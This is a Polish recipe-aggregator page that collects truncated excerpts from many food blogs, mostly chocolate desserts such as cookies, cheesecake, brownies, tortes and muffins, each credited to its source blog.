dość specyficzne. Jak ktoś ma ochotę można wypróbować Na około 25 sztuk: 1,5 szklanki mąki pszennej 1/2 szklanki mąki owsianej ( lub zmielonych płatków owsianych) 100 g posiekanej czekolady ( ja użyłam gorzkiej i deserowej) 2/3 szklanki jasnego cukru trzcinowego około 100 g orzechów ( u mnie laskowe i włoskie) jajko 200 g miękkiego masła szczypta soli łyżeczka sody Składniki powinny być(...)Masło z cukrem zmiksować na jasną puszystą masę, dodać jajko i zmiksować do połączenia składników. Dodać mąki, sól i sodę – wymieszać szpatułką lub łyżką. Dodać pokruszone orzechy i czekoladę. Z ciasta formować nieduże kule. Ułożyć je na blasze wyłożonej papierem do pieczenia, każdą spłaszczyć i piec w 180 stopniach około 20-25 minut. Wystudzić na kratce i gotowe. Przechowywać

Niebieski kubek z kawa
Sernik z jagodami 263

AmpedSense.OptimizeAdSpot('PC'); AmpedSense.OptimizeAdSpot('PR'); AmpedSense.OptimizeAdSpot('1L'); AmpedSense.OptimizeAdSpot('1C'); AmpedSense.OptimizeAdSpot('1R'); Składniki: 200 g ciasteczek maślanych 1 łyżka kakao 70 g masła 1 kg twarogu sernikowego 200 g białej czekolady 1/3 szklanki cukru 1 łyżka mąki ziemniaczanej 2 jajka 300 g jagód Sposób przygotowania: Do miski wrzucamy drobno pokruszone ciasteczka maślane. Do tego dodajemy kakao oraz roztopione masło. Wszystko dokładnie(...)przygotowany spód należy odstawić do lodówki na ok. 1 godzinę. AmpedSense.OptimizeAdSpot('2L'); AmpedSense.OptimizeAdSpot('2C'); AmpedSense.OptimizeAdSpot('2R'); W tym czasie przygotowujemy masę serową. Do większej miski wrzucamy ser twarogowy, roztopiona czekoladę, cukier, mąkę ziemniaczaną oraz białka. Wszystkie składniki energicznie mieszamy, aż powstanie gładka masa. Tak przygotowaną masę wykładamy na nasz spód. Na wierzch wysypujemy połowę jagód. Sernik wkładamy do rozgrzanego piekarnika

FoodMagazine.pl - Przepisy kulinarne
Owsiane ciasteczka czekoladowo-cynamonowe 145

grubości ok 0,5 cm. Foremką wycinać ciasteczka i układać na blasze wyłożonej papierem do pieczenia. Piec 20 minut w 180*C. Wyjąć, wystudzić.   Polewa: 100 g gorzkiej czekolady 2 łyżeczki cynamonu  Czekoladę rozpuścić, wymieszać z cynamonem. Smarować wystudzone ciasteczka. Wartości odżywcze: 1174 kcal bez polewy (wartości należy podzielić przez liczbę ciasteczek

Chocolate Muffin Blog
Cytrynowy puch babci Basi 169

zostawisz komentarz. Potrzebna tortownica o średnicy 26 cm. Składniki : 600 ml śmietany 30 %, 4 łyżki cukru pudru, 3 opakowania ” Śnieżki „ 2 galaretki cytrynowe, 4 szklanki wody, 2 czekolady białe, 200 gram wiórków cytrynowych, 200 gram okrągłych biszkoptów. Wykonanie : W garnku zagotowujemy litr wody , rozpuszczamy często mieszając galaretki i czekolady. Odstwawiamy do wystygnięcia . Śmietanę ubijamy na sztywno z cukrem

Pysznosci Babci Basi
Blok czekoladowy babci Basi 259

kiedy niespodziewanie zawita do nas nie zapowiedziany gość ! Możemy go przechowywać wiele dni . Polecam wszystkim SKŁADNIKI : 250 g masła, 250 g cukru kryształu, 40 g kakao Wedel, 100 g czekolady Wedel, 400 g mleka w proszku, 120 ml wody, 200 g pokruszonych herbatników, 100 g. orzechów (włoskie, nerkowce itp. , w moim przypadku były laskowe,) 50 g. rodzynek , ewentualnie olejek zapachowy(...)formy wyłożonej folią spożywczą lub papierem do pieczenia. Formę z masą odstawiamy do lodówki do zastygnięcia na kilka godzin , najlepiej na noc. Blok po wyjęciu z formy polać rozpuszczoną czekoladą E.Wedel

Pysznosci Babci Basi
Brownie z czekoladowym musem 156

brązowego 180 g masła 1 łyżeczka waniliowego ekstraktu 2 jajka 80 g mąki 50 g kakao szczypta soli Czekoladowy mus 50 g marshmallows 120 g gorzkiej czekolady, u mnie 70% kakao 50 ml mleka 250 ml śmietanki kremówki 1łyżka kakao Nastaw piekarnik na 160ºC na termoobieg (bez termoobiegu 175ºC). Rozpuść masło i wymieszaj z kakao. Lekko ostudź, a następnie wymieszaj(...)masę do formy wyłożonej papierem, wstaw do nagrzanego piekarnika i piecz przez około 20 minut. Wyjmij ciasto i ostudź. W między czasie przygotuj mus. W kąpieli wodnej rozpuść rozdrobnioną czekoladę, marshmallows i mleko. Odstaw do ostygnięcia. Ubij śmietankę na sztywno. pod koniec ubijania zacznij dodawać masę czekoladową. Masa czekoladowa musi być dobrze ostygnięta. Inaczej zrobią się grudki. Wystygnięte brownie posmaruj

codojedzenia
Wegańskie ciasto bardzo czekoladowe (bez pieczenia) 168

małą tortownicę o średnicy 20 cm Potrzebujemy: 1 opakowanie wegańskich herbatników (100 g)* 10 namoczonych daktyli 1 banan 1 porcja domowego kremu jaglanego czekoladowo-migdałowego 1 tabliczka gorzkiej czekolady * dostępne np. w Lidlu Przygotowanie: Daktyle zalewamy na 10 minut wrzątkiem. Po tym czasie odcedzamy je i miksujemy na gładko w blenderze. Herbatniki wkładamy do woreczka i ugniatamy. Łączymy je dokładnie(...)rozdrobnionymi daktylami (najdokładniej zrobimy to rękami, masa musi być zwarta) i rozgniatamy równomiernie na spód blachy/naczynia. Na przygotowany spód wykładamy domowy krem czekoladowo-migdałowy. W rondelku roztapiamy czekoladę i wylewamy na wierzch ciasta, który dodatkowo dekorujemy plasterkami banana. Wierzch można ozdobić także pokruszonymi herbatnikami lub posypać kakao. Wstawiamy ciacho do lodówki na chwilę, aby się schłodziło, a następnie zajadamy się

Bananowe Pole
Tort biała czekolada z truskawką 231

Jeden z moich ukochanych tortów. Jest słodki i to nawet bardzo, ale jeśli człowiek kocha tak jak ja białą czekoladę zostanie wielkim fanem tego deseru. Idealnym dodatkiem w tym torcie jest truskawka. Jej zapach jest wręcz zniewalający. Ten tort można zrobić na wiele okazji od urodzin, po walentynki czy śluby :). Można go robić w oryginalnej wersji tj. jasny biszkopt(...)spożywcze. Zarówno biszkopt jak i krem ślicznie się farbują, a dzięki słodyczy i truskawkom kochają go dzieci jak i dorośli. Przepis na biszkopt znajdziecie tutaj . Nowy post Tort biała czekolada z truskawką pojawił się w Wypieki i Rumience

Wypieki i Rumieńce
Orzechowa tarta na zimno z polewą czekoladową 176

Cudowne połączenie masła orzechowego, bananów i czekolady w jednym deserze. Tartę przygotowujemy na spodzie z ekspandowanej gryki - do kupienia w sklepach ze zdrową żywnością. Można z powodzeniem zastąpić ją preparowanym ryżem, amarantusem, kaszą jaglaną lub ewentualnie pokruszonymi drobno waflami ryżowymi. Masa składa się z kaszy jaglanej, bananów i mąki kokosowej użytej jako zagęszczacza. Całość pokryta jest warstwą pysznej czekolady. Spód

Chocolate Muffin Blog
Kokosowe pancakes bez mąki, z polewą o smaku mlecznej czekolady 145

Niebo w gębie - to za mało powiedziane! Niezwykle puszyste, delikatne, lekkie jak chmurka naleśniczki podane z kremową polewą o smaku mlecznej czekolady. Są znakomitym pomysłem na śniadanie z obniżoną ilością węglowodanów. Przygotowujemy je na bazie mąki kokosowej z niewielkim dodatkiem otrębów - dla zdrowia. W smaku przypominają najlepsze kokosanki... Są chętni? Składniki: 1 łyżka mąki kokosowej 1 łyżeczka otrębów owsianych(...)minut na rozgrzanej patelni (można posmarować ją olejem kokosowym), następnie przewrócić i piec jeszcze 4 minuty. Polewa: 2 łyżki jogurtu naturalnego 1 łyżka odżywki białkowej o smaku mlecznej czekolady* 1 łyżeczka kakao  Wymieszać, polać naleśniki, podawać z malinami. Wartości odżywcze: 352 kcal (wersja z odżywką białkową) B: 35 g ** T: 17 g W: 18 g *Można zastąpić 1 łyżeczką

Chocolate Muffin Blog
Murzynek przekładany wiśniami i bitą śmietaną 159

opakowania śmietanfixu cukier puder - do smaku - 2 łyżki lub trochę więcej 1,5 słoiczka konfitur wiśniowych oraz: świeże jeżyny do przybrania (lub maliny) kilka kostek białej czekolady Margarynę, cukier, wodę i kakao zagotować mieszając. Całość musi być gładka, bez grudek. Wystudzić. W tym czasie formę wyłożyć papierem do pieczenia lub posmarować tłuszczem (np. papierkiem od margaryny) i wysypać mąką(...)najmniej pół cm wolnego miejsca od krawędzi ciasta. Na wiśniach rozsmarować prawie połowę śmietany i przykryć drugim krążkiem murzynka. Resztą śmietany pokryć górę i brzegi ciasta. Posypać startą białą czekoladą i udekorować jeżynami. Przechowywać w lodówce, najlepiej jeśli mamy paterę z kloszem, wtedy ciasto nie wysycha

Posadzone i zjedzone
Fit batoniki czekoladowe w białej czekoladzie a'la Nesquik 163

Kojarzycie takie batoniki? Zrobione z popularnych kuleczek czekoladowych Nesquik i oblane białą czekoladą... chyba każdy uczeń zabierał takie do szkoły! Teraz możecie przygotować takie pyszności w domu. Bez masła, konserwantów i sztucznych dodatków. Gwarantuję, że nie tylko dzieci będą zachwycone! Składniki: 1 szklanka ekspandowanej kaszy jaglanej* 2 łyżeczki kakao 1 miarka odżywki białkowej 2 łyżki oleju kokosowego 2 łyżki mleka(...)proszku lub odżywki białkowej o smaku białej czekolady + 1 łyżka oleju kokosowego Olej kokosowy rozpuścić, dodać kakao i odżywkę, wymieszać. Dosypać kaszę i połączyć. Prostokątną foremkę wyłożyć folią aluminiową. Wyłożyć masę i wyrównać. Schłodzić. Gdy batoniki stwardnieją wyjąć je na deskę i pokroić na kawałki. Mleko w proszku lub odżywkę wymieszać z rozpuszczonym olejem kokosowym. Batoniki zanurzać w polewie

Chocolate Muffin Blog
lody szpinakowe z czekoladą 116

składniki: 130 g liści szpinaku 50 g czekolady gorzkiej 2 zamrożone banany 400 g jogurtu greckiego 500 ml mleka (może być roślinne) wykonanie: Do misy Thermomixa lub innego robota o dużej mocy wkładamy zmrożone banany, szpinak, wlewamy mleko i miksujemy na gładką masę. Następnie dodajemy jogurt oraz posiekana czekoladę i mieszamy do połączenia się składników. Gotową masę przelewamy do pojemnika

Domowy Smak Jedzenia
Budyń z czekoladą na jogurcie 132

bardzo prosty deser, który dzięki jogurtowi ostał całkowicie odmieniony. Spróbujcie.   (2-3 porcje) 1 opakowanie budyniu czekoladowego 350g jogurtu naturalnego (łagodnego) 150 ml mleka 2 łyżki cukru 20g czekolady gorzkiej (może być dowolna) Budyń z cukrem wymieszać w zimnym mleku i przelać do garnuszka. Podgrzewać do momentu gęstnienia (mieszać) i połączyć z jogurtem. Po zagotowaniu odstawić z ognia. Dodać(...)startą czekoladę (odrobinę zostawić do posypania wierzchu). Deser umieścić w pucharkach/miseczkach i udekorować wg uznania

Di gotuje
Lekki mus czekoladowy 126

łyżki cukru trzcinowego (lub innego słodzidła) 1-2 łyżki likieru Baileys (może być zwykły, czekoladowy) łyżeczka oleju kokosowego dwie szczypty chilli  szczypta soli wiórki kokosowe lub gorzka czekolada do dekoracji Przygotowanie: Płatki zalać w garnuszku wrzątkiem. Odstawić do napęcznienia. Banana rozgnieść widelcem. Do płatków dolać ok. 0,5 szklanki wody i zagotować.  Dodać banana, kakao, cukier i olej(...)Wymieszać dokładnie ze sobą wszystkie składniki, dodając likier.  Zblendować całość na gładki mus. Doprawić szczyptą soli i chilli.  Przelać porcje do pucharków. Udekorować wiórkami kokosowymi lub gorzką czekoladą. Schłodzić w lodówce. Smacznego

Kuchnia Ellie
Dietetyczne chrupki śniadaniowe z czekoladą 100

Wasze pociechy! Warto rozwijać w nich zdrowe nawyki od najmłodszych lat :) Składniki: 1 szklanka mąki jaglanej 1 szklanka mąki żytniej pełnoziarnistej 1 jajko 1 łyżka miodu 1/2 tabliczki gorzkiej czekolady bez cukru 1/2 łyżeczki sody 1/2 szklanki wody lub mleka Maki i sodę wymieszać. Dodać jajko, miód i wodę. Zagnieść ciasto. Czekoladę posiekać drobno i wmieszać do ciasta. Łyżeczką nabierać

Chocolate Muffin Blog
Czekoladowe ciasto z cukinią. 172

125ml) 150 g jogurtu naturalnego lub pół szklanki maślanki   3 szklanki obranej , pozbawionej gniazd nasiennych i utartej na grubej tartce cukinii . Pół tabliczki (50g) drobno posiekanej gorzkiej czekolady Wykonanie : Mąkę , kakao, sodę , proszek do pieczenia , cynamon i kawę przesiac do jednej miski. W drugiej utrzeć masło z cukrem , aż to nabierze nieco puszystości i wyraźnie zjaśnieje.  Nadal(...)kolejno jajka. Do takiej masy dodawać porcjami na zmianę suche składniki i jogurt  . Ciasto cały czas ucierać , aby  wszystkie składniki dokładnie się połączyły. Dodać cukinię i czekoladę , wymieszać ponownie  , Ciasto jest dość gęste. Foremkę wyłożyć papierem do pieczenia i wypełnić ciastem . Piec ok 50 -60 min w 170'C  (do tak zwanego suchego patyczka ) Po upieczeniu

Malinowa Kawiarenka
Torcik "jabłkowy przysmak" 171

jabłek 1/2 szkl wody 1/2 szkl cukru 2 galaretki cytrynowe 1 łyżeczka cynamonu 200g okrągłych biszkoptów Dekoracja: 200ml śmietany kremówki łyżka cukru pudru śmietan-fix kilka kostek czekolady Jabłka obrać i pokroić w kostkę, wrzucić do garnka i zalać wodą. Dodać cukier, wymieszać. Gotować na małym ogniu do czasu aż jabłka zmiękną i zaczną się rozpadać. Do masy dodać cynamon(...)resztą masy z jabłek, wyrównać i zostawić w chłodnym miejscu do stężenia. Śmietanę ubijamy na sztywno z cukrem pudrem i śmietan-fixem. Gotowy deser ozdabiamy bitą śmietaną i startą czekoladą. Chłodzimy w lodówce

Smakołyki Asi
Rolada Szwarcwaldzka 171

łyżki mąki ziemniaczanej 3 łyżki kakao 1 łyżeczka proszku Krem: 700 ml kremówki 3-4 łyżki cukru pudru 3 śmietn-fixy Dodatkowo: słoiczek konfitury wiśniowej 3 kostki mlecznej czekolady wiśnie do dekoracji (z konfitury, kompotu lub kandyzowane) ew. likier wiśniowy do skropienia biszkoptu Biszkopt: Białka ubić na sztywno ze szczyptą soli, pod koniec dodać cukier. Ubijać aż piana będzie lśniąca(...)kremówką, zostawiając ok 3 cm nieposmarowany brzeg (1/3 kremówki zostawić do dekoracji). Po zwinięciu rolady posmarować ją pozostałą kremówką (2 łyżki zostawić na dekorację) i posypać starta na tarce czekoladą. Udekorować rozetkami z bitej śmietany i kilkoma wisienkami. Wstawić do lodówki do stężenia

Smakołyki Asi
Białkowe batoniki czekoladowe 147

Składniki: 2 łyżki mąki kokosowej 30 g odżywki białkowej** o smaku czekoladowym lub waniliowym 2-3  łyżki mleka lub wody 1 wafel ryżowy, drobno pokruszony 2 kostki gorzkiej czekolady bez cukru orzechy laskowe do dekoracji  Składniki mieszamy i zagniatamy masę. Dzielimy ją na pół i formujemy na kształt batoników. Czekoladę rozpuszczamy w kąpieli wodnej lub mikrofali. Polewamy batoniki

Chocolate Muffin Blog
Ciastka orkiszowe z czekoladą i migdałami 146

cukru trzcinowego 1 łyżka cukru waniliowego 1 szczypta soli (solidna) 1 jajko 160g mąki orkiszowej (użyłam pełnoziarnistej) 1/2 łyżeczki sody oczyszczonej 1/2 łyżeczki proszku do pieczenia Dodatkowo: 50g czekolady (użyłam gorzkich kropelek) 30g płatków migdałowych Masło z solą, cukrem i cukrem waniliowym utrzeć do puszystości. Dodać jajko, a następnie mąkę, sodę i proszek do pieczenia  Całość dokładnie wymieszać(...)połączyć z kawałkami czekolady oraz migdałami. Powstałą masę schłodzić w lodówce - minimum 15 minut. Po tym czasie z ciasta uformować kulki - nie co większe od orzecha włoskiego. Kuleczki ułożyć (zachowując spore odstępy) na blasze wysłanej papierem do pieczenia i dość mocno spłaszczyć. (Ciasto można wykładać za pomocą łyżki stołowej. Jeśli ciastka pieczemy w kilku partiach - nieupieczoną masę należy przechowywać

Di gotuje
muffiny z malinami i czekoladą 112

składniki na ok. 12-14 szt.: 100 g mąki orkiszowej 150 g mąki orkiszowej pełnoziarnistej 100 g czekolady gorzkiej lub mlecznej 100 g cukru 2 jajka 250 ml mleka 80 ml oleju 20 g zmielonych płatków owsianych 2 łyżeczki proszku do pieczenia 150 g malin, świeżych dodatkowo: cukier puder wykonanie: W misce mieszamy oba rodzaje mąk, proszek do pieczenia, zmielone(...)płatki owsiane, posiekaną czekoladę oraz cukier. W osobnym naczyniu dokładnie mieszamy mleko, ojej oraz jajka. Składniki płynne wlewamy do suchych, mieszamy do połączenia się. Na koniec dodajemy maliny i delikatnie mieszamy. Ciasto przekładamy do foremki na muffiny wyłożonej papierowymi papilotkami. Pieczemy ok. 25 min. w 180 st. C. Po upieczeniu odstawiamy do wystudzenia. Przed podaniem oprószamy cukrem pudrem. Zapisz Zapisz

Domowy Smak Jedzenia
Czekoladowe z kokosowymi kulkami 210

kulki, które przekładamy do blaszki wyłożonej papierem do pieczenia (23x35 cm)     Ciasto: 6 jajek 3 szklanki mąki pszennej 4 łyżki mąki ziemniaczanej 1 szklanka cukru 150 g czekolady gorzkiej  4 łyżki kakao 3/4 szklanki mleka 1,5 łyżeczki proszku do pieczenia szczypta soli Oddzielamy białka od żółtek  i ubijamy ze szczyptą solią na sztywną pianę. Żółtka(...)ucieramy z cukrem do białości. Dodajemy rozpuszczoną czekoladę. Wsypujemy mąki, kakao i proszek, całość dokładnie mieszamy, a następnie ostrożnie łączymy z pianą z białek. Ciasto wylewamy na serowe kulki i pieczemy  180 st. C ok 45 minut

Cynamonowe szczęście
Czekoladowy Tort z Masłem Orzechowym 170

masło orzechowe, ekstrakt z wanilii i ciagle ucieramy do otrzymania puszystego kremu. Śmietankę ubijamy. Ubitą dodajemy do utartego masła i całość ucieramy do połączenia.   Ganache: 100 g gorzkiej czekolady (lub pół na pół z mleczną) 100 ml śmietany kremówki   Śmietankę doprowadzamy do wrzenia. Ściągamy z palnika. Wrzucamy połamaną czekoladę. Odstawiamy na 2 minuty, następnie mieszamy do całkowitego rozpuszczenia

Made By Mom And Son
Czekoladowe ciasto truflowe 166

smaczny. Przepis na małą formę 10x30 cm, choć kusi mnie spróbowanie upieczenia go w foremkach do muffinek. Przepis pochodzi z książki "Ciasta i desery" Marianne Magnier-Moren. 180 gram czekolady 52% 3/5 szklanki wody 2 łyżki mąki 3 jajka 135 gram masła 3/4 szklanki cukru Piekarnik rozgrzać do 180C, włożyć dwa ruszty do środka, blachę wyłożyć papierem (serio, potem(...)Masło pokroić w drobną kostkę. Wodę wlać do rondelka, dodać cukier. Postawić na gazie i mieszać do rozpuszczenia cukru. Doprowadzić do wrzenia i ściągnąć z palnika. Dodać czekoladę i mieszać aż do rozpuszczenia. Następnie dodać masło i ponownie mieszać aż do połączenia składników. Pozostawić na 5 minut. Jajka wbić do miseczki i ubić trzepaczką. Dodać do odstanej masy, wymieszać

Czerwony Gupik
Muffinki klasyczne 167

zmniejszonych proporcji wyszło 5 dużych i 4 małe babeczki. 1 szklanka mąki 1 łyżeczka proszku do pieczenia 1/4 szklanki cukru 1 jajko 1/4 szklanki oleju 1/2 szklanki mleka kostki czekolady 100 ml śmietanki 30% 2 łyżeczki cukru pudru 1/5 łyżeczki czerwonego barwnika w proszku 1/6 łyżeczki wody Piekarnik nagrzać do 180C. Mąkę połączyć w misce z proszkiem i cukrem. Mleko(...)następnie dodać do mąki. Delikatnie wymieszać tylko do połączenia się składników. Foremki na muffiny wyłożyć papilotkami. Nałożyć po jednej łyżce masy do każdej z foremek, włożyć po jednej kostce czekolady i przykryć resztą masy, tak do 2/3 wysokości foremki. Piec w nagrzanym piekarniku około 30 minut, aż będą złote z wierzchu, a patyczek suchy. Upieczone muffinki wyciągnąć z foremek

Czerwony Gupik
Tarta ze śliwkami (bez pieczenia) 133

tarty (prostokątnej lub okrągłej) szczelnie wykładamy masą ciasteczkami połączonymi z masłem.  Wkładamy do lodówki na ok. pół godziny. Krem czekoladowy: 250 g mascarpone  100 g białej czekolady Przygotowanie: Mascarpone przekładamy do miski. Czekoladę roztapiamy w kąpieli wodnej i łączymy z mascarpone, miksując na najniższych obrotach.  Krem przekładamy na schłodzony spód i ponownie wstawiamy do lodówki.  Śliwki

bistro mama
Kluski na parze w sosie czkoladowym 172

mleka roślinnego + 1/3 wody) 2 łyżki oliwy z oliwek  Składniki  na sos:  200 ml śmietanki kremówki 30% 50 ml mleka  50 g gorzkiej czekolady/ mlecznej 2 łyżki syropu klonowego  Wykonanie:  1.Mąkę mieszamy z solą, i robimy  lekkie zagłębienie, dodajemy cukier i drożdże ( j eśli używamy świeżych drożdży, należy zrobić rozczyn: rozrobimy(...)sprawdzony czas oczekiwania to 1,5 godziny. 4. Po tym czasie ciasto dzielimy na ok. 15 części i formujemy średniej wielkości bułeczki ) . 5. Składniki na sos umieszczamy w rondlu. Czekoladę siekamy by szybciej się rozpuściła. Sosu nie wolno doprowadzać do wrzenia ponieważ śmietana może się zwarzyć. 6.W tym czasie zagotować wodę do parowania klusek (np. garnek z wkładką

vaniliowoczekoladowa
Czekoladowa pasta sezamowa 117

podobno na nie czekacie Czekoladowa pasta sezamowa Wydrukuj przepis Czas przygotowania: 5 minut Potrzebujesz: 150g pasty tahini - można zrobić samemu lub, tak jak ja, kupić w sklepie 50g gorzkiej czekolady - w większości jest cukier, więc można z powodzeniem zastąpić kakaem w proszku zmieszanym z olejem kokosowym. Proponowałbym 35g kakao do 15g oleju kokosowego szczypta soli *opcjonalnie szczypta cynamonu, wanilii *opcjonalnie(...)cukier trzcinowy lub inne ulubione słodziwo do smaku *opcjonalnie 2 łyżki mleka w proszku (polecam ryżowe) Wykonanie: 1 Czekoladę rozpuść - w takie upalne dni, jakie mamy teraz, wystarczy zostawić ją na kilka godzin na stole. 2 Dodaj wszystkie składniki do kielicha blendera lub malaksera i miksuj przez kilka minut. Czekoladowa pasta sezamowa jest już gotowa. Odstaw na bok sklepowe pasty

Blendman
Czekoladowa pasta sezamowa 170

podobno na nie czekacie Czekoladowa pasta sezamowa Wydrukuj przepis Czas przygotowania: 5 minut Potrzebujesz: 150g pasty tahini - można zrobić samemu lub, tak jak ja, kupić w sklepie 50g gorzkiej czekolady - w większości jest cukier, więc można z powodzeniem zastąpić kakaem w proszku zmieszanym z olejem kokosowym. Proponowałbym 35g kakao do 15g oleju kokosowego szczypta soli *opcjonalnie szczypta cynamonu, wanilii *opcjonalnie(...)cukier trzcinowy lub inne ulubione słodziwo do smaku *opcjonalnie 2 łyżki mleka w proszku (polecam ryżowe) Wykonanie: 1 Czekoladę rozpuść - w takie upalne dni, jakie mamy teraz, wystarczy zostawić ją na kilka godzin na stole. 2 Dodaj wszystkie składniki do kielicha blendera lub malaksera i miksuj przez kilka minut. Czekoladowa pasta sezamowa jest już gotowa. Odstaw na bok sklepowe pasty

Blendman
Biało-czarna babka z zatopionymi wiśniami 245

wody 2 łyżeczki proszku do pieczenia szczypta  soli 2 łyżki kakao 2 łyżki mąki pszennej 200 g wydrylowanych świeżych wiśni odrobina maki do obtoczenia wiśni  czekolada do polania oraz wiśnie do dekoracji Przygotowanie : białka ubij na sztywną pianę ze szczyptą soli, cały czas miksując dodaj powoli żółtka, następnie olej i przesianą mąkę z proszkiem do pieczenia(...)najpierw 20 minut sam dół, następnie 25-35 minut góra-dół. Ciasto piecz, aż się ładnie zarumieni i sprawdź wykałaczką czy nie przywiera.  Jak ciasto wystygnie oblej je czekoladą i udekoruj wiśniami.  Smacznego

Niezły Młynek
Czekoladowe ciasto z malinami 98

szybko, a jeszcze szybciej znika z talerza. Mocno czekoladowe plus maliny, dla mnie lepszego połączenia nie mogło być – po prostu jest pyszne! Składniki 120g maki pszennej 100g gorzkiej czekolady 120g masła 2 łyżki kakao 150 ml wody 150 g cukru 1,5 łyżeczki proszku do pieczenia jajko szczypta soli 100g malin ( ja miałam mrożone) Sposób przygotowania W garnuszku rozpuścić(...)masło, czekoladę, wodę, kakao i cukry. Podgrzewać na małym ogniu, do momentu połączenia się wszystkich składników w jednolitą masę. Odstawić do ostudzenia. Do ostudzonej masy dodać jajko i zmiksować. W misce wymieszać mąkę z proszkiem do pieczenia i solą. Dodać masę czekoladową i miksować do uzyskania jednolitej masy. Ciasto przelać do foremki (użyłam okrągłej o średnicy 20 cm) wyłożonej papierem

Pink Envelope
Ciasto czekoladowe z wiśniami 258

Ciasto czekoladowe z wiśniami to jedno z ciast, które warto zrobić chociaż raz w roku 🙂 Dlaczego? By poczuć jego intensywny, esencjonalny smak czekolady, przełamanej kwaśnymi wiśniami. Po drugie dlatego, że ciasto jest bardzo wilgotne i długo pozostaje świeże. Polewa z gorzkiej czekolady to swoista “wisienka na torcie” 😉 Świetnie wieńczy całe dzieło. Te czekoladowo-wiśniowe […] Artykuł Ciasto czekoladowe z wiśniami

Wiszniówka
Mrożona Kawa Latte z lodami i białą czekoladą 177

letni dzień. A do tego wspaniały deser :) Na jedną porcję: 2 łyżeczki kawy rozpuszczalnej ew. 3 kostki lodu ok pół szklanki ziemnego mleka gałka lodów waniliowych kilka kostek białej czekolady bita śmietana Kawę zalać do połowy filiżanki gorącą wodą, ostudzić. Aby szybciej się ochłodziła wrzuciłam do niej 3 kostki lodu. Czekoladę rozpuścić w mikrofali i polać wewnętrzne ścianki szklanki

Smakołyki Asi
Czekoladowe mufinki z cukinią 139

czubate łyżki słodkiego kakao  2 jajka  1/3 szkl. oleju rzepakowego  100 g startej, młodej cukinii (jeszcze przed odciśnięciem z wody)  pełna garść kropelek czekoladowych [ czekolada starta na tarce]  Piekarnik nagrzać do 180 stopni.Cukinię umyć i zetrzeć na tarce o dużych oczkach, odcisnąć z nadmiaru wody.W osobnych miskach wymieszać suche i mokre składniki. Do suchych(...)wlać mokre , dodać cukinię i czekoladę i energicznie wymieszać łyżką.Ciasto przełożyć do papilotek/silikonowych foremek i piec muffiny przez około 30 minut

Moje domowe kucharzenie
Ciastka z płatkami gryczanymi i czekoladą 103

/margaryny 120g cukru  1 jajko (małe) 70g mąki pszennej 100g płatków gryczanych 1/2 łyżeczki proszku do pieczenia 1/3 łyżeczki sody oczyszczonej 1 szczypta soli Dodatkowo: 30-40g czekolady W dużej misce zmiksować masło/margarynę - ze szczyptą soli i cukrem.  Ciągle mieszając - wbić jajko i następnie wsypać mąkę, płatki, proszek do pieczenia i sodę oczyszczoną. Całość dokładnie(...)połączyć - najlepiej za pomocą dłoni. Na końcu do masy wmieszać średnio posiekaną czekoladę. Z ciasta formować kulki o wielkości orzecha włoskiego (można nie co mniejsze) i od razu układać je na blasze wyłożonej papierem do pieczenia.  (Ciastek nie należy spłaszczać i pamiętać, aby zachować duże odstępy, ponieważ ciasteczka rozpłyną się na boki. Jeśli je pieczenie w kilku turach - surową

Di gotuje
SERNIKOBROWNIE Z CZEREŚNIAMI – idealne! 124

SEROWA: * twaróg mielony 3 x- 250 g * jajko – 1 szt * wanilia – 0,5 laski * drobny cukier – 50 g * mąka ziemniaczana – 1 płaska łyżka WARSTWA CZEKOLADOWA: * czekolada mleczna – 125 g * kakao – 1 łyżka * masło 82% – 100 g * cukier – 60 g * jajko – 1 szt * mąka pszenna – 50 g * soczyste czereśnie(...)warto! SPOSÓB PRZYRZĄDZENIA: WARSTWA SEROWA: Wszystkie składniki miksujemy na najniższych obrotach przez ok. 3 minuty – powinny być w temperaturze pokojowej . WARSTWA CZEKOLADOWA: W kąpieli wodnej roztapiamy masło z czekoladą i cukrem, lekko studzimy. Do masy dodajemy jajko, mąkę i kakao – dokładnie mieszamy. CAŁOŚĆ: Na dno foremki wyłożone papierem do pieczenia wylewamy 3/4 masy czekoladowej, przykrywamy ( nierówno ) masą serową

Ostra na Słodko
Tort bezowy czekolado-śmietankowy z owocami lata 172

zostawiamy jeszcze aż się dosuszą. Krem czekoladowy: ·          250g serka mascarpone ·          1 tabliczka gorzkiej czekolady ·          2 płaskie łyżki cukru Serek mascarpone ubijamy aż będzie gładki, następnie dodajemy cukier i dalej ubijamy aż cukier się rozpuści. Czekoladę roztapiamy

Bazując na smaku
Brookliński Blackout 206

mąki 1 łyżeczka sody 1 łyżeczka proszku do pieczenia 50 g kakao ¼ łyżeczki soli krem: 250 g drobnego cukru trzcinowego 500 ml pełnotłustego mleka 140 g gorzkiej czekolady połamanej na kawałki 50 g mąki kukurydzianej 2 łyżeczki mielonej kawy olejek waniliowy szczypta soli Wykonanie: Krem: Wszystkie składniki oprócz olejka waniliowego przełożyć do garnka i zagotować. Zmniejszyć ogień i podgrzewać cały(...)czas mieszając (przez 5 - 7 minut) aż czekolada się stopi a krem będzie gładki. Dodać olejek i szczyptę soli, wymieszać. Krem przełożyć do płaskiego naczynia, przykryć folią spożywczą, poczekać aż wystygnie a następnie wstawić do lodówki na co najmniej 3 godziny by stężał. Ciasto: W rondlu stopić masło, zestawić z gazu i dodawać kolejno cały czas ubijając olej, maślankę, kawę

Mama Gotuje
Deser z białym musem, czerwonymi owocami i chrupiącym crunchy 199

porcje)   60 g crunchy  150 g serka mascarpone 3 łyżki cukru pudru 1 małe jajko 80 g czerwonej porzeczki 100 g truskawek dwie kostki białej czekolady, startej     Przygotowanie:   Jajko umyć i sparzyć wrzątkiem, by pozbyć się bakterii i zanieczyszczeń. Białko oddzielić od żółtka. Te pierwsze ubić na sztywną, śnieżnobiałą pianę. Żółtko wraz(...)czerwone porzeczki (zostawiając kilka do dekoracji). Na owoce wyłożyć schłodzony biały mus oraz crunchy. Na to wylać truskawkowy mus i ponownie posypać crunchy. Wierzch deserków udekorować startą białą czekoladą oraz pozostawionymi czerwonymi porzeczkami. Smacznego

Nastoletnie Wypiekanie
Ciasto czekoladowe na śmietanie 2333

